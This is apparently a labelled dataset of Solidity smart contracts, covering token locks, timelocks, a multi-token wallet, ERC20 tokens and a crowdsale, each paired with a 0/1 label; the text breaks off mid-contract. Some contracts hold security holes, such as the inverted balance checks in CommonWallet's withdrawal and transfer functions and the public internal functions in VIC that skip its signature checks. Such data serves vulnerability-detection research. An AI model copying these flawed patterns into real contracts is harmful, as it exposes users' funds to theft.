source_codes
stringlengths
3
205k
labels
int64
0
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30499200; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xE52264400B459746b02087f895b71478EAdB9078; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.11; contract exToken { function transfer(address, uint256) returns (bool) { } function balanceOf(address) constant returns (uint256) { } } contract DentacoinTimeLock { uint constant public year = 2018; address public owner; uint public lockTime = 192 days; uint public startTime; uint256 lockedAmount; exToken public tokenAddress; modifier onlyBy(address _account){ require(msg.sender == _account); _; } function () payable {} function DentacoinTimeLock() { owner = 0xd560Be7E053f6bDB113C2814Faa339e29f4a385f; startTime = now; tokenAddress = exToken(0x08d32b0da63e2C3bcF8019c9c5d849d7a9d791e6); } function withdraw() onlyBy(owner) { lockedAmount = tokenAddress.balanceOf(this); if ((startTime + lockTime) < now) { tokenAddress.transfer(owner, lockedAmount); } else { throw; } } }
1
pragma solidity ^0.4.16; contract ERC20Token { function name() public pure returns (string) {} function symbol() public pure returns (string) {} function decimals() public pure returns (uint8) {} function totalSupply() public pure returns (uint256) {} function balanceOf(address _owner) public pure returns (uint256) { _owner; } function allowance(address _owner, address _spender) public pure returns (uint256) { _owner; _spender; } function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract CommonWallet { mapping(address => mapping (address => uint256)) public tokenBalance; mapping(address => uint) etherBalance; address owner = msg.sender; function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) { assert(_x >= _y); return _x - _y; } function depoEther() public payable{ etherBalance[msg.sender]+=msg.value; } function depoToken(address tokenAddr, uint256 amount) public { if (ERC20Token(tokenAddr).transferFrom(msg.sender, this, amount)) { tokenBalance[tokenAddr][msg.sender] = safeAdd(tokenBalance[tokenAddr][msg.sender], amount); } } function wdEther(uint amount) public{ require(etherBalance[msg.sender]>=amount); address sender=msg.sender; sender.transfer(amount); etherBalance[sender] = safeSub(etherBalance[sender],amount); } function wdToken(address tokenAddr, uint256 amount) public { require(tokenBalance[tokenAddr][msg.sender] < amount); if(ERC20Token(tokenAddr).transfer(msg.sender, amount)) { tokenBalance[tokenAddr][msg.sender] = safeSub(tokenBalance[tokenAddr][msg.sender], amount); } } function getEtherBalance(address user) public view returns(uint256) { return etherBalance[user]; } function getTokenBalance(address tokenAddr, address user) public view returns (uint256) { return tokenBalance[tokenAddr][user]; } function sendEtherTo(address to_, uint amount) public { require(etherBalance[msg.sender]>=amount); require(to_!=msg.sender); to_.transfer(amount); etherBalance[msg.sender] = safeSub(etherBalance[msg.sender],amount); } function sendTokenTo(address tokenAddr, address to_, uint256 amount) public { require(tokenBalance[tokenAddr][msg.sender] < amount); require(!ERC20Token(tokenAddr).transfer(to_, amount)); tokenBalance[tokenAddr][msg.sender] = safeSub(tokenBalance[tokenAddr][msg.sender], amount); } }
0
pragma solidity ^0.4.25; contract VIC { event CardsAdded( address indexed user, uint160 indexed root, uint32 count ); event CardCompromised( address indexed user, uint160 indexed root, uint32 indexed index ); function publish(uint160 root, uint32 count) public { _publish(msg.sender, root, count); } function publishBySignature(address user, uint160 root, uint32 count, bytes32 r, bytes32 s, uint8 v) public { bytes32 messageHash = keccak256(abi.encodePacked(root, count)); require(user == ecrecover(messageHash, 27 + v, r, s), "Invalid signature"); _publish(user, root, count); } function report(uint160 root, uint32 index) public { _report(msg.sender, root, index); } function reportBySignature(address user, uint160 root, uint32 index, bytes32 r, bytes32 s, uint8 v) public { bytes32 messageHash = keccak256(abi.encodePacked(root, index)); require(user == ecrecover(messageHash, 27 + v, r, s), "Invalid signature"); _report(user, root, index); } function _publish(address user, uint160 root, uint32 count) public { emit CardsAdded(user, root, count); } function _report(address user, uint160 root, uint32 index) public { emit CardCompromised(user, root, index); } }
1
pragma solidity ^0.4.13; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract AndroidToken is StandardToken { string public name = 'AndroidToken'; string public symbol = 'ANDT'; uint256 public decimals = 18; function AndroidToken() public { totalSupply = 25000000 * 10 ** uint(decimals); balances[msg.sender] = totalSupply; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
pragma solidity ^0.4.18; interface IPausable { function isPaused() public view returns (bool); function pause() public; function resume() public; } interface IOwnership { function isOwner(address _account) public view returns (bool); function getOwner() public view returns (address); } contract Ownership is IOwnership { address internal owner; modifier only_owner() { require(msg.sender == owner); _; } function Ownership() public { owner = msg.sender; } function isOwner(address _account) public view returns (bool) { return _account == owner; } function getOwner() public view returns (address) { return owner; } } interface IToken { function totalSupply() public view returns (uint); function balanceOf(address _owner) public view returns (uint); function transfer(address _to, uint _value) public returns (bool); function transferFrom(address _from, address _to, uint _value) public returns (bool); function approve(address _spender, uint _value) public returns (bool); function allowance(address _owner, address _spender) public view returns (uint); } interface IManagedToken { function isLocked() public view returns (bool); function lock() public returns (bool); function unlock() public returns (bool); function issue(address _to, uint _value) public returns (bool); function burn(address _from, uint _value) public returns (bool); } interface ITokenRetriever { function retrieveTokens(address _tokenContract) public; } contract TokenRetriever is ITokenRetriever { function retrieveTokens(address _tokenContract) public { IToken tokenInstance = IToken(_tokenContract); uint tokenBalance = tokenInstance.balanceOf(this); if (tokenBalance > 0) { tokenInstance.transfer(msg.sender, tokenBalance); } } } interface IAuthenticator { function authenticate(address _account) public view returns (bool); } interface IAuthenticationManager { function isAuthenticating() public view returns (bool); function enableAuthentication() public; function disableAuthentication() public; } interface IWingsAdapter { function totalCollected() public view returns (uint); } interface IPersonalCrowdsaleProxy { function () public payable; } contract PersonalCrowdsaleProxy is IPersonalCrowdsaleProxy { address public owner; ICrowdsale public target; function PersonalCrowdsaleProxy(address _owner, address _target) public { target = ICrowdsale(_target); owner = _owner; } function () public payable { target.contributeFor.value(msg.value)(owner); } } interface ICrowdsaleProxy { function () public payable; function contribute() public payable returns (uint); function contributeFor(address _beneficiary) public payable returns (uint); } contract CrowdsaleProxy is ICrowdsaleProxy { address public owner; ICrowdsale public target; function CrowdsaleProxy(address _owner, address _target) public { target = ICrowdsale(_target); owner = _owner; } function () public payable { target.contributeFor.value(msg.value)(msg.sender); } function contribute() public payable returns (uint) { target.contributeFor.value(msg.value)(msg.sender); } function contributeFor(address _beneficiary) public payable returns (uint) { target.contributeFor.value(msg.value)(_beneficiary); } } interface ICrowdsale { function isInPresalePhase() public view returns (bool); function isEnded() public view returns (bool); function hasBalance(address _beneficiary, uint _releaseDate) public view returns (bool); function balanceOf(address _owner) public view returns (uint); function ethBalanceOf(address _owner) public view returns (uint); function refundableEthBalanceOf(address _owner) public view returns (uint); function getRate(uint _phase, uint _volume) public view returns (uint); function toTokens(uint _wei, uint _rate) public view returns (uint); function () public payable; function contribute() public payable returns (uint); function contributeFor(address _beneficiary) public payable returns (uint); function withdrawTokens() public; function withdrawEther() public; function refund() public; } contract Crowdsale is ICrowdsale, Ownership { enum Stages { Deploying, Deployed, InProgress, Ended } struct Balance { uint eth; uint tokens; uint index; } struct Percentage { uint eth; uint tokens; bool overwriteReleaseDate; uint fixedReleaseDate; uint index; } struct Payout { uint percentage; uint vestingPeriod; } struct Phase { uint rate; uint end; uint bonusReleaseDate; bool useVolumeMultiplier; } struct VolumeMultiplier { uint rateMultiplier; uint bonusReleaseDateMultiplier; } uint public baseRate; uint public minAmount; uint public maxAmount; uint public minAcceptedAmount; uint public minAmountPresale; uint public maxAmountPresale; uint public minAcceptedAmountPresale; address public beneficiary; uint internal percentageDenominator; uint internal tokenDenominator; uint public start; uint public presaleEnd; uint public crowdsaleEnd; uint public raised; uint public allocatedEth; uint public allocatedTokens; Stages public stage; IManagedToken public token; mapping (address => uint) private balances; mapping (address => mapping(uint => Balance)) private allocated; mapping(address => uint[]) private allocatedIndex; mapping (address => Percentage) private stakeholderPercentages; address[] private stakeholderPercentagesIndex; Payout[] private stakeholdersPayouts; Phase[] private phases; mapping (uint => VolumeMultiplier) private volumeMultipliers; uint[] private volumeMultiplierThresholds; modifier at_stage(Stages _stage) { require(stage == _stage); _; } modifier only_after(uint _time) { require(now > crowdsaleEnd + _time); _; } modifier only_after_crowdsale() { require(now > crowdsaleEnd); _; } modifier only_beneficiary() { require(beneficiary == msg.sender); _; } function Crowdsale() public { stage = Stages.Deploying; } function setup(uint _start, address _token, uint _tokenDenominator, uint _percentageDenominator, uint _minAmountPresale, uint _maxAmountPresale, uint _minAcceptedAmountPresale, uint _minAmount, uint _maxAmount, uint _minAcceptedAmount) public only_owner at_stage(Stages.Deploying) { token = IManagedToken(_token); tokenDenominator = _tokenDenominator; percentageDenominator = _percentageDenominator; start = _start; minAmountPresale = _minAmountPresale; maxAmountPresale = _maxAmountPresale; minAcceptedAmountPresale = _minAcceptedAmountPresale; minAmount = _minAmount; maxAmount = _maxAmount; minAcceptedAmount = _minAcceptedAmount; } function setupPhases(uint _baseRate, uint[] _phaseRates, uint[] _phasePeriods, uint[] _phaseBonusLockupPeriods, bool[] _phaseUsesVolumeMultiplier) public only_owner at_stage(Stages.Deploying) { baseRate = _baseRate; presaleEnd = start + _phasePeriods[0]; crowdsaleEnd = start; for (uint i = 0; i < _phaseRates.length; i++) { crowdsaleEnd += _phasePeriods[i]; phases.push(Phase(_phaseRates[i], crowdsaleEnd, 0, _phaseUsesVolumeMultiplier[i])); } for (uint ii = 0; ii < _phaseRates.length; ii++) { if (_phaseBonusLockupPeriods[ii] > 0) { phases[ii].bonusReleaseDate = crowdsaleEnd + _phaseBonusLockupPeriods[ii]; } } } function setupStakeholders(address[] _stakeholders, uint[] _stakeholderEthPercentages, uint[] _stakeholderTokenPercentages, bool[] _stakeholderTokenPayoutOverwriteReleaseDates, uint[] _stakeholderTokenPayoutFixedReleaseDates, uint[] _stakeholderTokenPayoutPercentages, uint[] _stakeholderTokenPayoutVestingPeriods) public only_owner at_stage(Stages.Deploying) { beneficiary = _stakeholders[0]; for (uint i = 0; i < _stakeholders.length; i++) { stakeholderPercentagesIndex.push(_stakeholders[i]); stakeholderPercentages[_stakeholders[i]] = Percentage( _stakeholderEthPercentages[i], _stakeholderTokenPercentages[i], _stakeholderTokenPayoutOverwriteReleaseDates[i], _stakeholderTokenPayoutFixedReleaseDates[i], i); } for (uint ii = 0; ii < _stakeholderTokenPayoutPercentages.length; ii++) { stakeholdersPayouts.push(Payout(_stakeholderTokenPayoutPercentages[ii], _stakeholderTokenPayoutVestingPeriods[ii])); } } function setupVolumeMultipliers(uint[] _volumeMultiplierRates, uint[] _volumeMultiplierLockupPeriods, uint[] _volumeMultiplierThresholds) public only_owner at_stage(Stages.Deploying) { require(phases.length > 0); volumeMultiplierThresholds = _volumeMultiplierThresholds; for (uint i = 0; i < volumeMultiplierThresholds.length; i++) { volumeMultipliers[volumeMultiplierThresholds[i]] = VolumeMultiplier(_volumeMultiplierRates[i], _volumeMultiplierLockupPeriods[i]); } } function deploy() public only_owner at_stage(Stages.Deploying) { require(phases.length > 0); require(stakeholderPercentagesIndex.length > 0); stage = Stages.Deployed; } function confirmBeneficiary() public only_beneficiary at_stage(Stages.Deployed) { stage = Stages.InProgress; } function isInPresalePhase() public view returns (bool) { return stage == Stages.InProgress && now >= start && now <= presaleEnd; } function isEnded() public view returns (bool) { return stage == Stages.Ended; } function hasBalance(address _beneficiary, uint _releaseDate) public view returns (bool) { return allocatedIndex[_beneficiary].length > 0 && _releaseDate == allocatedIndex[_beneficiary][allocated[_beneficiary][_releaseDate].index]; } function balanceOf(address _owner) public view returns (uint) { uint sum = 0; for (uint i = 0; i < allocatedIndex[_owner].length; i++) { sum += allocated[_owner][allocatedIndex[_owner][i]].tokens; } return sum; } function ethBalanceOf(address _owner) public view returns (uint) { uint sum = 0; for (uint i = 0; i < allocatedIndex[_owner].length; i++) { sum += allocated[_owner][allocatedIndex[_owner][i]].eth; } return sum; } function refundableEthBalanceOf(address _owner) public view returns (uint) { return now > crowdsaleEnd && raised < minAmount ? balances[_owner] : 0; } function getCurrentPhase() public view returns (uint) { for (uint i = 0; i < phases.length; i++) { if (now <= phases[i].end) { return i; break; } } return uint(-1); } function getRate(uint _phase, uint _volume) public view returns (uint) { uint rate = 0; if (stage == Stages.InProgress && now >= start) { Phase storage phase = phases[_phase]; rate = phase.rate; if (phase.useVolumeMultiplier && volumeMultiplierThresholds.length > 0 && _volume >= volumeMultiplierThresholds[0]) { for (uint i = volumeMultiplierThresholds.length; i > 0; i--) { if (_volume >= volumeMultiplierThresholds[i - 1]) { VolumeMultiplier storage multiplier = volumeMultipliers[volumeMultiplierThresholds[i - 1]]; rate += phase.rate * multiplier.rateMultiplier / percentageDenominator; break; } } } } return rate; } function getDistributionData(uint _phase, uint _volume) internal view returns (uint[], uint[]) { Phase storage phase = phases[_phase]; uint remainingVolume = _volume; bool usingMultiplier = false; uint[] memory volumes = new uint[](1); uint[] memory releaseDates = new uint[](1); if (phase.useVolumeMultiplier && volumeMultiplierThresholds.length > 0 && _volume >= volumeMultiplierThresholds[0]) { uint phaseReleasePeriod = phase.bonusReleaseDate - crowdsaleEnd; for (uint i = volumeMultiplierThresholds.length; i > 0; i--) { if (_volume >= volumeMultiplierThresholds[i - 1]) { if (!usingMultiplier) { volumes = new uint[](i + 1); releaseDates = new uint[](i + 1); usingMultiplier = true; } VolumeMultiplier storage multiplier = volumeMultipliers[volumeMultiplierThresholds[i - 1]]; uint releaseDate = phase.bonusReleaseDate + phaseReleasePeriod * multiplier.bonusReleaseDateMultiplier / percentageDenominator; uint volume = remainingVolume - volumeMultiplierThresholds[i - 1]; volumes[i] = volume; releaseDates[i] = releaseDate; remainingVolume -= volume; } } } volumes[0] = remainingVolume; releaseDates[0] = phase.bonusReleaseDate; return (volumes, releaseDates); } function toTokens(uint _wei, uint _rate) public view returns (uint) { return _wei * _rate * tokenDenominator / 1 ether; } function () public payable { require(msg.sender == tx.origin); _handleTransaction(msg.sender, msg.value); } function contribute() public payable returns (uint) { return _handleTransaction(msg.sender, msg.value); } function contributeFor(address _beneficiary) public payable returns (uint) { return _handleTransaction(_beneficiary, msg.value); } function endCrowdsale() public at_stage(Stages.InProgress) { require(now > crowdsaleEnd || raised >= maxAmount); require(raised >= minAmount); stage = Stages.Ended; if (!token.unlock()) { revert(); } uint totalTokenSupply = IToken(token).totalSupply() + allocatedTokens; for (uint i = 0; i < stakeholdersPayouts.length; i++) { Payout storage p = stakeholdersPayouts[i]; _allocateStakeholdersTokens(totalTokenSupply * p.percentage / percentageDenominator, now + p.vestingPeriod); } _allocateStakeholdersEth(this.balance - allocatedEth, 0); } function withdrawTokens() public { withdrawTokensTo(msg.sender); } function withdrawTokensTo(address _beneficiary) public { uint tokensToSend = 0; for (uint i = 0; i < allocatedIndex[msg.sender].length; i++) { uint releaseDate = allocatedIndex[msg.sender][i]; if (releaseDate <= now) { Balance storage b = allocated[msg.sender][releaseDate]; tokensToSend += b.tokens; b.tokens = 0; } } if (tokensToSend > 0) { allocatedTokens -= tokensToSend; if (!token.issue(_beneficiary, tokensToSend)) { revert(); } } } function withdrawEther() public { withdrawEtherTo(msg.sender); } function withdrawEtherTo(address _beneficiary) public { uint ethToSend = 0; for (uint i = 0; i < allocatedIndex[msg.sender].length; i++) { uint releaseDate = allocatedIndex[msg.sender][i]; if (releaseDate <= now) { Balance storage b = allocated[msg.sender][releaseDate]; ethToSend += b.eth; b.eth = 0; } } if (ethToSend > 0) { allocatedEth -= ethToSend; if (!_beneficiary.send(ethToSend)) { revert(); } } } function refund() public only_after_crowdsale at_stage(Stages.InProgress) { refundTo(msg.sender); } function refundTo(address _beneficiary) public only_after_crowdsale at_stage(Stages.InProgress) { require(raised < minAmount); uint receivedAmount = balances[msg.sender]; balances[msg.sender] = 0; if (receivedAmount > 0 && !_beneficiary.send(receivedAmount)) { balances[msg.sender] = receivedAmount; } } function destroy() public only_beneficiary only_after(2 years) { selfdestruct(beneficiary); } function _handleTransaction(address _beneficiary, uint _received) internal at_stage(Stages.InProgress) returns (uint) { require(now >= start && now <= crowdsaleEnd); require(isAcceptingContributions()); require(isAcceptedContributor(_beneficiary)); if (isInPresalePhase()) { return _handlePresaleTransaction( _beneficiary, _received); } else { return _handlePublicsaleTransaction( _beneficiary, _received); } } function _handlePresaleTransaction(address _beneficiary, uint _received) private returns (uint) { require(_received >= minAcceptedAmountPresale); require(raised < maxAmountPresale); uint acceptedAmount; if (raised + _received > maxAmountPresale) { acceptedAmount = maxAmountPresale - raised; } else { acceptedAmount = _received; } raised += acceptedAmount; _allocateStakeholdersEth(acceptedAmount, 0); _distributeTokens(_beneficiary, _received, acceptedAmount); return acceptedAmount; } function _handlePublicsaleTransaction(address _beneficiary, uint _received) private returns (uint) { require(_received >= minAcceptedAmount); require(raised >= minAmountPresale); require(raised < maxAmount); uint acceptedAmount; if (raised + _received > maxAmount) { acceptedAmount = maxAmount - raised; } else { acceptedAmount = _received; } raised += acceptedAmount; balances[_beneficiary] += acceptedAmount; _distributeTokens(_beneficiary, _received, acceptedAmount); return acceptedAmount; } function _distributeTokens(address _beneficiary, uint _received, uint _acceptedAmount) private { uint tokensToIssue = 0; uint phase = getCurrentPhase(); var rate = getRate(phase, _acceptedAmount); if (rate == 0) { revert(); } var (volumes, releaseDates) = getDistributionData( phase, _acceptedAmount); for (uint i = 0; i < volumes.length; i++) { var tokensAtCurrentRate = toTokens(volumes[i], rate); if (rate > baseRate && releaseDates[i] > now) { uint bonusTokens = tokensAtCurrentRate * (rate - baseRate) / rate; _allocateTokens(_beneficiary, bonusTokens, releaseDates[i]); tokensToIssue += tokensAtCurrentRate - bonusTokens; } else { tokensToIssue += tokensAtCurrentRate; } } if (tokensToIssue > 0 && !token.issue(_beneficiary, tokensToIssue)) { revert(); } if (_received - _acceptedAmount > 0 && !_beneficiary.send(_received - _acceptedAmount)) { revert(); } } function _allocateEth(address _beneficiary, uint _amount, uint _releaseDate) internal { if (hasBalance(_beneficiary, _releaseDate)) { allocated[_beneficiary][_releaseDate].eth += _amount; } else { allocated[_beneficiary][_releaseDate] = Balance( _amount, 0, allocatedIndex[_beneficiary].push(_releaseDate) - 1); } allocatedEth += _amount; } function _allocateTokens(address _beneficiary, uint _amount, uint _releaseDate) internal { if (hasBalance(_beneficiary, _releaseDate)) { allocated[_beneficiary][_releaseDate].tokens += _amount; } else { allocated[_beneficiary][_releaseDate] = Balance( 0, _amount, allocatedIndex[_beneficiary].push(_releaseDate) - 1); } allocatedTokens += _amount; } function _allocateStakeholdersEth(uint _amount, uint _releaseDate) internal { for (uint i = 0; i < stakeholderPercentagesIndex.length; i++) { Percentage storage p = stakeholderPercentages[stakeholderPercentagesIndex[i]]; if (p.eth > 0) { _allocateEth(stakeholderPercentagesIndex[i], _amount * p.eth / percentageDenominator, _releaseDate); } } } function _allocateStakeholdersTokens(uint _amount, uint _releaseDate) internal { for (uint i = 0; i < stakeholderPercentagesIndex.length; i++) { Percentage storage p = stakeholderPercentages[stakeholderPercentagesIndex[i]]; if (p.tokens > 0) { _allocateTokens( stakeholderPercentagesIndex[i], _amount * p.tokens / percentageDenominator, p.overwriteReleaseDate ? p.fixedReleaseDate : _releaseDate); } } } function isAcceptedContributor(address _contributor) internal view returns (bool); function isAcceptingContributions() internal view returns (bool); } contract MoxyOneCrowdsale is Crowdsale, TokenRetriever, IPausable, IAuthenticationManager, IWingsAdapter { bool private paused; IAuthenticator private authenticator; bool private requireAuthentication; function isPaused() public view returns (bool) { return paused; } function pause() public only_owner { paused = true; } function resume() public only_owner { paused = false; } function setupAuthentication(address _authenticator, bool _requireAuthentication) public only_owner at_stage(Stages.Deploying) { authenticator = IAuthenticator(_authenticator); requireAuthentication = _requireAuthentication; } function isAuthenticating() public view returns (bool) { return requireAuthentication; } function enableAuthentication() public only_owner { requireAuthentication = true; } function disableAuthentication() public only_owner { requireAuthentication = false; } function isAcceptedContributor(address _contributor) internal view returns (bool) { return !requireAuthentication || authenticator.authenticate(_contributor); } function isAcceptingContributions() internal view returns (bool) { return !paused; } function totalCollected() public view returns (uint) { return raised; } function retrieveTokens(address _tokenContract) public only_owner { super.retrieveTokens(_tokenContract); ITokenRetriever(token).retrieveTokens(_tokenContract); } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29462400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x2C6e06A09f5E6a6b7149f1348e52B5C23cb99d54; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.23; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count ++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i ++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] 